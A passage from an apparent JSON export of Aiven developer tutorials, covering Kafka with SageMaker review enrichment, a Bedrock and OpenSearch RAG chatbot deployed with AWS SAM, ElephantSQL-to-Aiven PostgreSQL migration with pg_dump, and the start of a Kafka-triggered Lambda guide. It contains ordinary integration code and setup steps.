'reviews'\napache_kafka_enriched_output_topic_name = 'reviews_enriched'\napache_kafka_processing_errors_topic_name = 'reviews_processing_errors'\n```\nCreate an Apache Kafka consumer:\n\n```python\nconsumer = Consumer({'bootstrap.servers': apache_kafka_uri, 'group.id': 'mygroup', 'auto.offset.reset': 'earliest', **apache_kafka_ssl_config})\nconsumer.subscribe([apache_kafka_input_topic_name])\n\nCLEANR = re.compile('\u003c.*?\u003e') \n\ndef get_clean_content(json_object):    \n    content = json_object.get(\"Text\", \"\")  # Retrieve 'content' property    \n    only_text = re.sub(CLEANR, '', content)\n    return only_text\n```\n\nCreate an Apache Kafka producer:\n\n```python\nproducer = Producer({\n    'bootstrap.servers': apache_kafka_uri, \n    **apache_kafka_ssl_config \n})\n\n# Send a message to a Kafka topic\ndef send_message(message, topic_name):\n    producer.produce(topic_name, json.dumps(message).encode('utf-8'))\n    producer.flush()\n    \ndef send_enriched_data(message, probabilities, predicted_label, key_categories):\n    message['probabilities'] = probabilities\n    message['sentiment_predition'] = predicted_label\n    message['categories'] = key_categories\n    send_message(message, apache_kafka_enriched_output_topic_name)\n    \ndef report_processing_error(message, error_code, error_message):\n    message['processing_error_code'] = error_code\n    message['processing_error_message'] = error_message\n    send_message(message, apache_kafka_processing_errors_topic_name)\n```\n\nFinally read messages from the Apache Kafka `reviews` topic and push processed data back to `reviews_enriched` topic:\n\n```python\nprint(f\"Processing messages\")\nwhile True:\n    message = consumer.poll(1.0)  # Poll for messages, with a timeout of 1 second\n\n    if message is None:\n        continue\n\n    if message.error():\n        if message.error().code() == KafkaError._PARTITION_EOF:\n            # End of partition event\n            print(f\"Reached end of partition for topic {message.topic()} [{message.partition()}]\")\n        else:\n            print(f\"Error while consuming message: {message.error()}\")\n    else:\n        decoded = message.value().decode('utf-8')\n        json_obj = json.loads(decoded)\n\n        content_property = get_clean_content(json_obj)\n        print(f\"Process the messagee: {content_property}\")\n        if content_property == \"\":\n            continue\n\n        try:\n            probabilities, labels, predicted_label = get_prediction(content_property)\n            key_categories = get_categories(content_property)\n            print(f\"Inference:\\n\"\n                  f\"Input text: '{content_property}'\\n\"\n                  f\"Model prediction: {probabilities}\\n\"\n                  f\"Predicted label: {predicted_label}\\n\"\n                  f\"Predicted key_categories: {key_categories}\\n\")\n\n            send_enriched_data(json_obj, probabilities, predicted_label, key_categories)\n            \n\n        except Exception as e:\n            print(f\"An error occurred: {e}\")\n            response = getattr(e, \"response\", {})\n            error_code = response.get(\"Error\", {}).get(\"Code\", \"Unknown\")\n            error_message = response.get(\"Error\", {}).get(\"Message\", \"Unknown\")\n            report_processing_error(json_obj, error_code, error_message)\n            \n\n# Close the consumer\nconsumer.close()\n```\n\nAs we did before, you can see the processed messages by going to Aiven console and fetching the messages from `reviews_enriched`:\n![Example of enriched record](https://cdn.sanity.io/images/sczeoy4w/production/1c132ac6a682c90b4924f03aec0ba01c90b0fbca-1784x818.png)\n\nNote, that we now for this record we have a field \"Categories\" with an item \"Coffee\".\n\n## Clean up\nDon't forget to clean up the resources you've used. For Sagemaker you need to remove created endpoint, endpoint configuration, running models and Code Editor spaces. Check https://docs.aws.amazon.com/sagemaker/latest/dg/ex1-cleanup.html for more details.\n\nTo remove Aiven for Apache Kafka instance, on the landing page of your service in the Aiven console select \"Delete service\" from the menu:\n![Remove Aiven for Apache Kafka service](https://cdn.sanity.io/images/sczeoy4w/production/c303fef4890e4adca7f0bcaa30f1741d4bebfaa5-2484x598.png)\n\n## Next steps\nIf you're interested in other materials about Apache Kafka, be sure to check out:\n- [Apache Kafka® as source and sink with Apache Flink® to process streaming data](https://aiven.io/developer/kafka-source-sink-flink-integration)\n- [Stream Mastodon data to Apache Kafka® using NodeJS and TypeScript](https://aiven.io/developer/mastodon-kafka-js)\n\nIf you're curious to learn more things you can do with Aiven and AI look at:\n- [Find your perfect movie with ClickHouse®, vector search, Hugging Face API, and Next.js](https://aiven.io/developer/movie-recommender-clickhouse-huggingface-nextjs)\n- [TensorFlow, PostgreSQL®, PGVector \u0026 Next.js: building a movie recommender](https://aiven.io/developer/building-a-movie-recommender)","feature":{"_type":"featuredItem","active":false,"endDate":"2024-05-15T12:45:24.130Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2024-05-08T12:33:46.704Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Enriching product reviews with Apache Kafka and Amazon SageMaker","asset":{"_ref":"image-fd7cb4f3281f7bfc200a6107c0206d2c06ee1ffb-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/enrich-product-reviews-amazon-sagemaker"},"subtitle":"Ever wondered how to enrich your real-time streaming data with machine learning-driven analysis?","tags":[{"_key":"7888f868add5","_ref":"f51c71a3-c228-4f3a-b57b-12c3b1c7fc73","_type":"tag"},{"_key":"1e527130c483","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"e4fb541f7961","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"a69dcc5c3064","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"}],"title":"Enriching product reviews with Apache Kafka® and Amazon SageMaker"}
{"__i18n_lang":"en","_createdAt":"2024-05-08T12:27:07Z","_id":"99e530bc-a7ca-46f6-8600-3ac3f82681f4","_rev":"lMEtP1FuMP9IX2fXXb4PdS","_type":"devArticle","_updatedAt":"2024-05-09T12:32:48Z","body":"Retrieval-augmented generation (RAG) enriches large language models (LLMs) by incorporating an external knowledge source during predictions to provide more context, historical data, and relevant information. We can use it for a variety of cases:\n\n- providing real-time context such as current traffic conditions, weather or stock market fluctuations;\n- incorporating user-specific details like their recently viewed items on the website or preferences based on past interactions;\n- including relevant factual information from documents that were not in the LLM's training data, either due to privacy concerns or because of updates that were made after training. For example, updated medical research findings or market trends from industry reports.\n\nRAG offers a significantly cheaper and faster alternative to retraining or fine-tuning an existing model. That's why, RAG workloads are starting to be adopted across retail, financial services, and healthcare customers.\n\nIn this article we'll show you and example of such scenario, how you can create a chatbot to answer questions which require specific technical knowledge. \n\nTo create the chatbot we'll use **Amazon Bedrock** foundation models, **OpenSearch®** will play the role of a vector database and to create a pipeline we'll rely on **AWS Serverless Application Model**. The overall architecture can be split into two parts. First, we process each documentation entry to create an embedding and store in OpenSearch, next we set up a Lambda function to accept user's question, enhance the prompt by adding additional context and then pass it to LLM to retrieve an answer:\n\n![Diagram of the flow](https://cdn.sanity.io/images/sczeoy4w/production/0c72046755a74c382bb4f4be26fc85a94efcb730-2420x1152.png)\n\n## Prerequisites\n\nTo follow along you'll need:\n- access to AWS and sufficient permissions to deploy new services programmatically and access Amazon Bedrock foundation models;\n- a document set to be used as additional knowledge;\n- we'll be using Aiven for OpenSearch in this article and you'll need an Aiven account to create the service, follow  [these instructions to create your account](https://console.aiven.io/signup).\n\nAll necessary code you'll find in [this github repository](https://github.com/Aiven-Labs/chatbot-opensearch-aws-knowledge-base). We recommend you clone the code to run the commands we'll describe below.\n\n## Step 1. Set up Aiven for OpenSearch®\nStart by creating [Aiven for OpenSearch](https://aiven.io/opensearch) service, this is where we store the embeddings for the documents.\n\n![Visualising template using Application Composer Canvas](https://cdn.sanity.io/images/sczeoy4w/production/cd2ff2b8aef335e88eb7413421ec43a9968ea821-2422x1284.png)\n\n## Step 2. Deploy a serverless application using AWS\n\n### AWS CLI and SAM CLI\n\nIf you don't have AWS CLI installed on your machine follow [these steps to set it up](https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html). \n\nWe'll also use AWS Serverless Application Model (AWS SAM) to simplify the process of deploying resources on AWS. Follow [these instructions](https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/install-sam-cli.html) to install SAM CLI.\n\nTo start using AWS CLI we need to configure it and provide authentication information:\n\n1. In the IAM dashboard create a new user.\n2. Attach a permission policy that will allow SAM CLI to deploy new resources through AWS CloudFormation (for example, you can use AdministratorAccess).\n3. Create access key for the user.\n4. Run `aws configure` and specify AWS Access Key ID and AWS Secret Access Key. \n5. We recommend you set **us-east-1** for the region to see the same models available through Bedrock\n\nNote, that these permissions are necessary to allow SAM CLI to deploy the resources while granular permissions for each resource are specified individually in SAM template.\n\n### Request model access from Amazon Bedrock \n\nAccess to Amazon Bedrock foundation models isn't granted by default. To get Go to Amazon Bedrock Model access. Click on \"Manage model access\" and select two items:\n\n1. `Titan Embeddings G1` that we need to convert our text documents into embeddings. \n2. Cohere command to create responses.\n\n![Manage model access in Amazon Bedrock](https://cdn.sanity.io/images/sczeoy4w/production/f89b4788e768572d6acd2a12769b2bbc7e6fe393-2878x1520.png)\n\n### Create a AWS SAM template\n\nTo create AWS pipeline and deploy all related resources together as a single entity we use AWS SAM. With AWS SAM we  can list all resources and their requirements within SAM template. You can find the complete [template's code in the GitHub repo](https://github.com/Aiven-Labs/chatbot-opensearch-aws-knowledge-base/blob/main/template.yaml).\n\nThe most interesting part happens in the section **Resources**, where we specify which AWS services we want to deploy and with which settings. Let's go one by one and see what they do:\n\n**DocumentBucket** creates a storage bucket on Amazon S3. This is where we'll add documents with external knowledge. Whenever a new document is added, upload notifications are sent to an SQS queue. Additionally, here we block public access to the bucket and specify the rules for cross-origin resource sharing for security reasons.\n\n```yaml\n  DocumentBucket:\n    Type: \"AWS::S3::Bucket\"\n    Properties:\n      BucketName: !Sub \"${AWS::StackName}-${AWS::Region}-${AWS::AccountId}\"\n      NotificationConfiguration:\n        QueueConfigurations:\n          - Event: 's3:ObjectCreated:*'\n            Queue: !GetAtt EmbeddingQueue.Arn\n      CorsConfiguration:\n        CorsRules:\n          - AllowedHeaders:\n              - \"*\"\n            AllowedMethods:\n              - GET\n              - PUT\n              - HEAD\n              - POST\n              - DELETE\n            AllowedOrigins:\n              - \"*\"\n      PublicAccessBlockConfiguration:\n        BlockPublicAcls: true\n        BlockPublicPolicy: true\n        IgnorePublicAcls: true\n        RestrictPublicBuckets: true\n```\n\n**DocumentBucketPolicy** sets a policy for each document bucket, ensuring that access is denied over non-secure (HTTP) connections.\n\n```yaml\n  DocumentBucketPolicy:\n    Type: \"AWS::S3::BucketPolicy\"\n    Properties:\n      PolicyDocument:\n        Id: EnforceHttpsPolicy\n        Version: \"2012-10-17\"\n        Statement:\n          - Sid: EnforceHttpsSid\n            Effect: Deny\n            Principal: \"*\"\n            Action: \"s3:*\"\n            Resource:\n              - !Sub \"arn:aws:s3:::${DocumentBucket}/*\"\n              - !Sub \"arn:aws:s3:::${DocumentBucket}\"\n            Condition:\n              Bool:\n                \"aws:SecureTransport\": \"false\"\n      Bucket: !Ref DocumentBucket\n```\n\n**EmbeddingQueue** creates a queue in Amazon SQS. This queue will receive messages triggered by documents being uploaded to S3.\n\n```yaml\n  EmbeddingQueue:\n    Type: AWS::SQS::Queue\n    DeletionPolicy: Delete\n    UpdateReplacePolicy: Delete\n    Properties:\n      VisibilityTimeout: 180\n      MessageRetentionPeriod: 3600\n```\n\n**EmbeddingQueuePolicy** sets a policy allowing S3 to send messages to the EmbeddingQueue in SQS.\n\n```yaml\n  EmbeddingQueuePolicy:\n    Type: AWS::SQS::QueuePolicy\n    Properties:\n      Queues:\n        - !Ref EmbeddingQueue\n      PolicyDocument:\n        Version: \"2012-10-17\"\n        Id: SecureTransportPolicy\n        Statement:\n          Effect: Allow\n          Principal:\n            Service: \"s3.amazonaws.com\"\n          Action:\n            - \"sqs:SendMessage\"\n          Resource: !GetAtt EmbeddingQueue.Arn\n```\n\n**GenerateEmbeddingsFunction** creates a Lambda function responsible for generating embeddings. It's configured to have access to the necessary environment variables and is triggered by incoming messages in the EmbeddingQueue. \n\n```yaml\nGenerateEmbeddingsFunction:\n    Type: AWS::Serverless::Function\n    Properties:\n      CodeUri: src/generate_embeddings/\n      Timeout: 180\n      MemorySize: 2048\n      Policies:\n        - SQSPollerPolicy:\n            QueueName: !GetAtt EmbeddingQueue.QueueName\n        - S3CrudPolicy:\n            BucketName: !Ref DocumentBucket\n        - Statement:\n            - Sid: \"BedrockScopedAccess\"\n              Effect: \"Allow\"\n              Action: \"bedrock:InvokeModel\"\n              Resource: \"arn:aws:bedrock:*::foundation-model/amazon.titan-embed-text-v1\"\n      Environment:\n        Variables:\n          OPENSEARCH_URL: !Ref OpensearchURL\n          BUCKET: !Ref DocumentBucket\n      Events:\n        EmbeddingQueueEvent:\n          Type: SQS\n          Properties:\n            Queue: !GetAtt EmbeddingQueue.Arn\n            BatchSize: 1\n```\n\nThe code of this function is take from `src/generate_embeddings` of the [main.py file](https://github.com/Aiven-Labs/chatbot-opensearch-aws-knowledge-base/blob/main/src/generate_embeddings/main.py):\n\n```py\ndef lambda_handler(event, context):\n    # identify filename\n    event_body = json.loads(event[\"Records\"][0][\"body\"])\n    print(event_body)\n    key = event_body[\"Records\"][0][\"s3\"][\"object\"][\"key\"]\n    file_name_full = key.split(\"/\")[-1]\n\n    # download data record\n    s3.download_file(BUCKET, key, f\"/tmp/{file_name_full}\")\n    loader = TextLoader(f'/tmp/{file_name_full}')\n    document = loader.load()\n\n    # setup Bedrock Embeddings for OpenSearch\n    bedrock_runtime = boto3.client(\n        service_name=\"bedrock-runtime\",\n        region_name=\"us-east-1\",\n    )\n\n    # Interface for embedding models\n    model = BedrockEmbeddings(\n        model_id=\"amazon.titan-embed-text-v1\",\n        client=bedrock_runtime,\n        region_name=\"us-east-1\",\n    )\n\n    vector_search = OpenSearchVectorSearch(OPENSEARCH_URL, index_name, model)\n\n    # perform vector search\n    response = vector_search.from_documents(\n        documents=document,\n        embedding=model,\n        opensearch_url=OPENSEARCH_URL,\n        use_ssl = True,\n        index_name=index_name,\n        bulk_size=5000,\n        vector_field=\"embedding\"\n    )\n    print(response)\n```\n\n**StreamingFunction** creates another Lambda function. Its purpose is to handle streaming responses. It's granted permissions to perform certain actions related to managed service Bedrock. \n\n```yaml\n  GenerateResponseStreaming:\n    Type: AWS::Serverless::Function\n    Properties:\n      CodeUri: src/generate_response_streaming\n      Handler: index.handler\n      Runtime: nodejs18.x\n      Timeout: 30\n      MemorySize: 256\n      Policies:\n        - Statement:\n            - Effect: Allow\n              Action: 'bedrock:*'\n              Resource: '*'\n      Environment:\n        Variables:\n          OPENSEARCH_URL: !Ref OpensearchURL\n```\n\nThe code is taken from `src/generate_response_streaming` and written in JavaScript, because at the moment Lambda supports response streaming [only on Node.js managed runtimes](https://docs.aws.amazon.com/lambda/latest/dg/configuration-response-streaming.html). Here is the content of [index.js](https://github.com/Aiven-Labs/chatbot-opensearch-aws-knowledge-base/blob/main/src/generate_response_streaming/index.js):\n\n```js\nconst runChain = async (query, responseStream) =\u003e {\n    try {\n\n        // create OpenSearch client\n        const openSearchClient = new Client({\n            nodes: process.env.OPENSEARCH_URL\n        });\n\n        // setup Bedrock Embeddings for OpenSearch\n        // interface for embedding models\n        const model = new BedrockEmbeddings({region: awsRegion});\n        const index_name = \"knowledge-embeddings\"\n        const vectorStore = new OpenSearchVectorStore(model, {\n            openSearchClient,\n            indexName: index_name,\n            vector_field: index_name\n        });\n\n        const retriever = vectorStore.asRetriever();\n\n        // define prompt template\n        const prompt = PromptTemplate.fromTemplate(\n            `Answer the following question based on the following context:\n            {context}\n\n            Question: {question}`\n        );\n\n        const llmModel = new BedrockChat({\n            model: 'cohere.command-text-v14',\n            region: awsRegion,\n            streaming: true,\n            maxTokens: 1000,\n        });\n\n        // create streaming chain\n        const chain = RunnableSequence.from([\n            {\n                context: retriever.pipe(formatDocumentsAsString),\n                question: new RunnablePassthrough()\n            },\n            prompt,\n            llmModel,\n            new StringOutputParser()\n        ]);\n\n        const stream = await chain.stream(query);\n        for await (const chunk of stream) {\n            responseStream.write(chunk);\n        }\n        responseStream.end();\n    } catch (error) {\n        // Output the error\n        responseStream.write(`Error: ${error.message}`);\n        responseStream.end();\n    }\n};\nexport const handler = awslambda.streamifyResponse(async (event, responseStream, _context) =\u003e {\n    console.log(JSON.stringify(event));\n    const query = event[\"queryStringParameters\"][\"query\"]\n    await runChain(query, responseStream);\n    console.log(JSON.stringify({\"status\": \"complete\"}));\n});\n\n```\n\n**StreamingFunctionInvocationURL** provides a URL for invoking the StreamingFunction in streaming mode. This URL requires AWS IAM authentication.\n\n```yaml\n  GenerateResponseStreamingInvocationURL:\n    Type: AWS::Lambda::Url\n    Properties:\n      TargetFunctionArn: !Ref GenerateResponseStreaming\n      AuthType: AWS_IAM\n      InvokeMode: RESPONSE_STREAM\n```\n\n### Build and deploy resources\nTime to bring our SAM template into action: deploy and build our application.\n\nMake sure that your environment has python at least of version 3.11 and run:\n\n```sam build```\n\n\nif you experience problems try running a verbose version of the command with:\n\n```sam build --debug```\n\nOnce the project is built, we can deploy it. Run \n\n```sam deploy --guided```\n\nand provide the service URI of the OpenSearch service that we've created:\n\n![Running sam deploy --guided](https://cdn.sanity.io/images/sczeoy4w/production/2f95dd1c42aa2dcf2ec1095c916bc2ba0f611f38-998x862.png)\n\nWait for the resources being deployed.\n\n## Step 3. Upload your data\n\nNow that our pipeline is running, time to flow some knowledge into it. You can use any text documents that you have, I used a set of documentation article for Aiven platform.\n\nGo to the S3 bucket that was just created and upload the text files there.\n![Upload data to s3](https://cdn.sanity.io/images/sczeoy4w/production/4beb0accb34167fc199bbbb2db13910141f414e1-1982x1538.png)\n\nEach time a new document is uploaded, it is added to an embedding queue, transformed into embedding using AWS Bedrock model and the embedding is uploaded into OpenSearch.\n\n\n## Step 4. Invoking a chat function - let's ask a question! 💬\nAnd finally it is time to run the test and invoke our function! There are different ways how you can achieve this.\n\nBy default the way we set up our Lambda function, it requires AWS IAM authentication to have access to execute it. Alternatively you can also grant public access to your function URL: \n\n![change_lambda_url_permissions.png](https://cdn.sanity.io/images/sczeoy4w/production/a523cef1686223e5a72e4d3dbfb05ea919be159b-1666x840.png)\n\nIf you choose auth type NONE, anyone with the URL can access your function.\n\nYou can run it directly from the terminal using CURL:\n![Example of invoking the lambda function using curl](https://cdn.sanity.io/images/sczeoy4w/production/07489c2f2ea19603cd50c500c32817402bae7678-2674x934.png)\n\nIn the example above we've asked a question how to set up ClickHouse. One of the provided documents contained instructions describing how to create a service Aiven for ClickHouse. Vector search returned those documents to LLM and the information was used as a part of response. If you run this live you'll also see that the response was output as a chain of text chunk by chunk.\n\nNote, that this Bedrock model doesn't like very short questions, so make sure to ask something that is sufficiently descriptive. If you have problems, check out Lambda logs in CloudWatch.\n\n## Cleanup\n\nTo clean up  all resources created in this article:\n\n1. Delete Aiven for OpenSearch service\n2. Empty the S3 bucket where you uploaded documents\n3. run `sam delete` to terminate and remove created AWS resources.\n\n\n## What's next\n\nAfter following this tutorial you've learned how to build a knowledge chatbot powered by OpenSearch and AWS Bedrock . If you're interested in related topics check out these articles:\n\n- [When text meets image: a guide to OpenSearch® for multimodal search](https://aiven.io/developer/opensearch-multimodal-search)\n- [Retrieval augmented generation with OpenAI and OpenSearch®](https://aiven.io/developer/retrieval-augmented-generation-openai-opensearch)\n- [Find your perfect movie with ClickHouse®, vector search, Hugging Face API, and Next.js](https://aiven.io/developer/movie-recommender-clickhouse-huggingface-nextjs)\n- [Image recognition with Python, OpenCV, OpenAI CLIP and pgvector](https://aiven.io/developer/find-faces-with-pgvector)\n- [Social search in real time: Exploring Mastodon data with Apache Kafka® and OpenSearch®](https://aiven.io/developer/mastodon-kafka-opensearch) ","feature":{"_type":"featuredItem","active":false,"endDate":"2024-05-15T12:26:14.978Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"publishedAt":"2024-05-08T12:25:30.349Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Applying RAG pattern to navigate your knowledge store","asset":{"_ref":"image-32dca7ead0a8e992b18e33cb80bb5f8a7f623776-1200x628-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/rag-bedrock-opensearch"},"subtitle":"Build a knowledge chatbot powered by OpenSearch® and Amazon Bedrock","tags":[{"_key":"4be589e67402","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"292456f879e9","_ref":"f51c71a3-c228-4f3a-b57b-12c3b1c7fc73","_type":"tag"},{"_key":"547db15a766e","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"23f7c6152123","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"}],"title":"Applying RAG pattern to navigate your knowledge store"}
{"__i18n_lang":"en","_createdAt":"2024-02-09T13:03:14Z","_id":"9131f94e-b41b-49e1-a147-a7a0a9b0c480","_rev":"BVM0UzymoPXcfHGeYl5fwj","_type":"devArticle","_updatedAt":"2024-08-09T09:44:47Z","body":"This article addresses how to migrate an ElephantSQL (PostgreSQL®) database to an Aiven for PostgreSQL® database using `pg_dump`. \n\nTo migrate databases from your local computer or another cloud service, see [Aiven for PostgreSQL® Migration](https://aiven.io/docs/products/postgresql/howto/list-replication-migration).\n\n## Prerequisites\n\n- An ElephantSQL database. \n- An Aiven for PostgreSQL database. If you haven't already, [Sign up for an Aiven account](https://aiven.io/signup) and [Create an Aiven for PostgreSQL database](https://aiven.io/docs/platform/howto/create_new_service). \n- PostgreSQL 16 and its command line tooling, `psql`, installed on your local machine. See [PostgreSQL's documentation](https://www.postgresql.org/download/) for specific instructions for your operating system. \n- [`pg_dump`](https://www.postgresql.org/docs/current/libpq.html) to migrate. Usually this installs alongside `psql`, but you might need to install it seperately.\n- [PgAdmin](https://www.pgadmin.org/) to verify the data.\n\n## The migration process\n\nTo migrate an ElephantSQL database to Aiven for PostgreSQL, all we need to do is use `pg_dump` on the ElephantSQL database and `pg_restore` on the Aiven for PostgreSQL database. \n\n### About dump migration \n\n`pg_dump` is a point-in-time snapshot. The data written to the source\ndatabase during the migration process (after initiating the dump) is not\nmigrated to the target database. When you start a dump migration, make\nsure no data is written to the source database by the time the dumping\nprocess is over\n\n## Confirm your `psql` and `pg_dump` version numbers\n\nWe'll use our local machine's command line to perform the migration. It's important that the version of `psql` and `pg_dump` we have installed are at **version 16 or later**, or else the migration will fail.\n\nTo check the version of `psql` you have installed, use the following command in a Terminal:\n\n```bash\npsql --version\n```\n\nIf you need to update to a newer version of `psql`, uninstall your current version and re-install a newer version. If you're using a package manager like Homebrew on Mac, be sure to specify the version number in the formulae: \n\n```bash\nbrew install postgresql@16\n```\n\nTo check the version of `pg_dump`, use the following command in a Terminal: \n\n```bash\npg_dump --version\n```\n\nUpgrading `psql` should automatically upgrade `pg_dump` as well. If for some reason it doesn't, you can install `libpq`: \n\n```bash\nbrew install libpq\n```\n\n## Create an Aiven for PostgreSQL database and install extensions \n\nNext, go to the [Aiven Console](https://console.aiven.io) and create a new Aiven for PostgreSQL service. \n\nWhen the service is created, install any extensions you might need. Some ElephantSQL databases use the `dict_xsyn` and `xml2` extensions by default. \n\n[Read how to install new extensions to your Aiven for PostgreSQL database](https://aiven.io/docs/products/postgresql/howto/manage-extensions).\n\n## Get connection data from source and target databases \n\nLog into the [ElephantSQL console](https://customer.elephantsql.com/instance). \n\nSelect the database to migrate and note the following information: \n- Server\n- Port (By default ElephantSQL uses port 5432 for all connections.)\n- User \u0026 Default database\n- Password\n\n![](https://cdn.sanity.io/images/sczeoy4w/production/6d6963121de0f726e0919876bc8c6c24f37b13a4-2044x1356.png)\n\nNext, log into the [Aiven console](https://console.aiven.io) and note the following information: \n- Host\n- Port\n- Username\n- Password\n\nNavigate to the **Databases** section of the Aiven console, and either:\n- Note the name of the default database, `defaultdb`, or\n- Create a new database that you want to migrate to and note that\n\n\n## Perform the migration using the command line\n\nOpen a Terminal window or command line, and use the following command to migrate your database:\n\n```bash\nPGPASSWORD=\u003cELEPHANTSQL_PASSWORD\u003e pg_dump \u003cELEPHANTSQL_SERVER\u003e -p \u003cELEPHANTSQL_PORT\u003e -U \u003cELEPHANTSQL_USER\u003e -d \u003cELEPHANTSQL_DATABASE\u003e | psql -h \u003cAIVEN_HOST\u003e -p \u003cAIVEN_PORT\u003e -U \u003cAIVEN_USER\u003e  \u003cAIVEN_DATABASE\u003e\n```\n\nWhere:\n- `\u003cELEPHANTSQL_SERVER\u003e` is the ElephantSQL server we noted avove\n- `\u003cELEPHANTSQL_PORT\u003e` is the ElephantSQL database's port, or 5432. \n- `\u003cELEPHANTSQL_USER\u003e` is the user name for the ElephantSQL database.\n- `\u003cELEPHANTSQL_DATABASE\u003e` is the database name for the ElephantSQL database. In most cases, this is the same as the user name.\n- `\u003cELEPHANTSQL_PASSWORD\u003e ` is the password for the ElephantSQL database.\n- `\u003cAIVEN_HOST\u003e` is the Host for the Aiven for PostgreSQL database.\n- `\u003cAIVEN_PORT\u003e` is the port for the Aiven for PostgreSQL service. \n- `\u003cAIVEN_USER\u003e` is the user name for the Aiven for PostgreSQL database. The default user is `avnadmin`.\n- `\u003cAIVEN_DATABASE\u003e` Is the database name to migrate to the Aiven for PostgreSQL service. The default is `defaultdb`.\n\nYou should be prompted for the password to your Aiven service. Copy and paste it into the command line and hit **Enter**.\n\nLeave the process to complete. Depending on the size of your database, this might take some time.\n\n::alert[You might receive a warning in the command line \"role \"USERNAME\" does not exist`. This is because we did not recreate roles in Aiven for PostgreSQL before migrating, as Aiven has a default user that we can use. If you need to, create any users you might need in Aiven for PostgreSQL before migrating.]{title=\"User `USERNAME` does not exist \" type=\"warning\"}\n\n## Verify the results using PgAdmin \n\n1. Open PgAdmin and select **Add New Server**. Enter the following:\n\t- In **General**, give the new server a name such as *Aiven for PostgreSQL server*.\n\t- In **Connection**:\n\t\t- **Host name/address:** The **Host** of your Aiven for PostgreSQL service\n\t\t- **Port:** The port number your Aiven for PostgreSQL service uses. Note that Aiven services do not use the default 5432. \n\t\t- **Maitenence database:** The **Database** you migrated to (the default is defaultdb)\n\t\t- **Username:** The **Username** you used to connect to your database (the default is avnadmin)\n\t\t- **Password:** The **Password** assosciated with your username. \n\n2. Click **Save** to save your connection information and connect to the database.\n3. Navigate to your database and use the **Query tool** to run a query against your data. The query that makes sense for you to run depends on the data in your database. \n\n![](https://cdn.sanity.io/images/sczeoy4w/production/991605d6c514f0b9577bb7b107900301d04ae2a8-2014x1430.png)\n\n## Next steps \n\nAs far as the database migration goes, that's it! The next steps are to ensure that all your services are now pointing at your new Aiven for PostgreSQL database. Read our [connect to a PostgreSQL database](https://aiven.io/docs/products/postgresql/howto/list-code-samples) docs for more information.\n\nAiven for PostgreSQL also includes lots of one-click integrations with popular monitoring services, metrics services and more. See [What you can integrate with](https://aiven.io/docs/products/postgresql/howto/list-integrations). \n\nAiven also offers a number of different data services, from streaming to storage to analysis. Learn more about [the rest of the Aiven Platform](https://aiven.io/platform) and see what you can do with your data!\n\n\n## Further reading\n\n- [Migrate to Aiven for PostgreSQL](https://aiven.io/elephantsql-aiven-migration)","feature":{"_type":"featuredItem","active":false,"endDate":"2024-02-16T13:03:12.277Z"},"publishedAt":"2024-02-09T10:06:41.873Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-4156deabbe04358def2875a9869a5eef7bdd17bb-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/elephantsql-aiven-migration"},"subtitle":"Use this guide to migrate your ElephantSQL database to an Aiven for PostgreSQL® database using the pgdump utility","title":" Migrate an ElephantSQL PostgreSQL® database to Aiven for PostgreSQL®"}
{"__i18n_lang":"en","_createdAt":"2024-02-29T12:04:38Z","_id":"6756931c-b09f-49b2-b32f-43c33703e39d","_rev":"zYSUUPkF4TH1RAKzpzeqRm","_type":"devArticle","_updatedAt":"2024-03-18T12:16:17Z","body":"Despite a number of tools available to perform stream processing like Apache Kafka® Streams or Apache Flink®, sometimes you want to write some serverless code or functions to process events. You can do this with [AWS Lambda](https://aws.amazon.com/lambda/), letting you concentrate on wiring the parsing logic without having to worry about managing or scaling the compute.\n\nIn this tutorial we'll cover the basics of how to invoke a Lambda function using an Apache Kafka trigger.\n\n## The Components\n\nWe'll use [AWS Lambda triggers](https://docs.aws.amazon.com/lambda/latest/dg/lambda-invocation.html), in particular the [Apache Kafka trigger](https://docs.aws.amazon.com/lambda/latest/dg/with-kafka.html), to consume from a specific Kafka topic and invoke the Lambda function on every event (or batch of events).\n\n![Architecture including Aiven for Apache Kafka, Lambda's Apache Kafka trigger and the function](https://cdn.sanity.io/images/sczeoy4w/production/ef22c5e52103df1b0e47f97faab92bf2266701a9-5480x1960.png)\n\n## Getting started with Apache Kafka\n\n[Lambda's Apache Kafka trigger](https://docs.aws.amazon.com/lambda/latest/dg/with-kafka.html) works with any Apache Kafka cluster, for simplicity this tutorial will showcase how to create one with Aiven by:\n\n1. Signup into [Aiven Console](https://console.aiven.io/signup)\n2. If you are creating a new account, select if it's Personal or Business and give the project a name\n3. At *Services*, under *Create new service* choose **Apache Kafka**\n4. To finish creating your **Apache Kafka®** service, choose the version (default is fine), and AWS as your cloud provider.\n5. Create the Apache Kafka service in the same region as where you'll want to run the AWS Lambda function to minimize the latency.\n6. Click on **Create service**\n\nClick **Skip this step** to jump directly to the Apache Kafka service details while the service builds in the background. Enable the **Apache Kafka REST API (Karapace)** toggle so we can messages in a Kafka topic using the Aiven Console.\n\nWhen the cluster is up and running, navigate to the **Topics** tab and create a topic called `test`. Click on the topic name to view it, then click **Messages** to consume and produce messages in the topic.\n\n## Store Apache Kafka credentials in AWS Secrets Manager\n\nThe next step is to define a secure link between Aiven for Apache Kafka and the AWS Lambda function. Aiven for Apache Kafka offers a client certificate authentication method out of the box we can store the secrets in [AWS Secrets Manager](https://aws.amazon.com/secrets-manager/) by:\n\n* Logging in the AWS Console and accessing the [AWS Secrets Manager](https://aws.amazon.com/secrets-manager/)\n* Clicking on **Store new secret**\n* Select **Other type of secret** as 